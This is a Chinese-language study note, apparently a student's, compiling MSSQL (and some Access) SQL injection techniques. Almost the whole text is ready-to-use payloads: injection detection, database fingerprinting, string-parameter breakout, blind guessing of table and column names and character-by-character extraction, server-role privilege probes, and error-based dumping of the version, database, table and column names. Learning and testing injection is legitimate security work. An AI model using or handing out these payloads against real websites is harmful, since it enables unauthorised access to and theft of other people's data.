MSSQL注入(SQL server)
由于这学期正在学数据库,所以理解SQL语句还是可疑的。看完视频后自己动手实践顺便整理了学习笔记,有些来自视频有些来自其他大佬的博客。
一:判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的
二:初步判断是否是MSSQL
and user>0
三:判断数据库系统
and (select count(*) from sysobjects) >0 MSSQL
and (select count(*) from msysobjects) >0 ACCESS
四:注入参数是字符
‘and [查询条件] and‘’=’
五:搜索时没过滤参数的
‘and [查询条件] and‘%25=’
六:猜表名
and (select Count(*) from [表名])>0
七:猜字段
and (select Count(字段名) from表名)>0
八:猜字段中记录长度
and (select top 1 len(字段名) from表名)>0
九:猜字段的ascii值
1、ACCESS
and (select top 1 asc(mid(字段名,1,1)) from表名)>0
2、MSSQL
and (select top 1 unicode(substring(字段名,1,1)) from表名)>0
十:测试权限结构
and 1=(select is_srvrolemember('sysadmin'))--
and 1=(select is_srvrolemember('serveradmin'))--
and 1=(select is_srvrolemember('setupadmin'))--
and 1=(select is_srvrolemember('securityadmin'))--
and 1=(select is_srvrolemember('diskadmin'))--
and 1=(select is_srvrolemember('bulkadmin'))--
and 1=(select is_member('db_owner'))--
十一:番外
1、爆版本 and @@version>0
2、爆数据库名 and db_name()>0
3、爆当前用户名 and User_Name()>0
4、爆其他数据库 and (SELECT top 1 Name FROM Master..SysDatabases)>0
再爆其他数据库 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('数据库1'))>0
再继续 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('数据库1','数据库2'))>0
5、爆表 and (select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0)>0
再爆表 and (select top 1 name from[数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('第一个表名'))>0
再继续,同理...
6、爆字段 and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME='表名')>0
再爆其他字段 and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME='表名' and COLUMN_NAME not in ('第一个字段名'))>0
再继续,同理...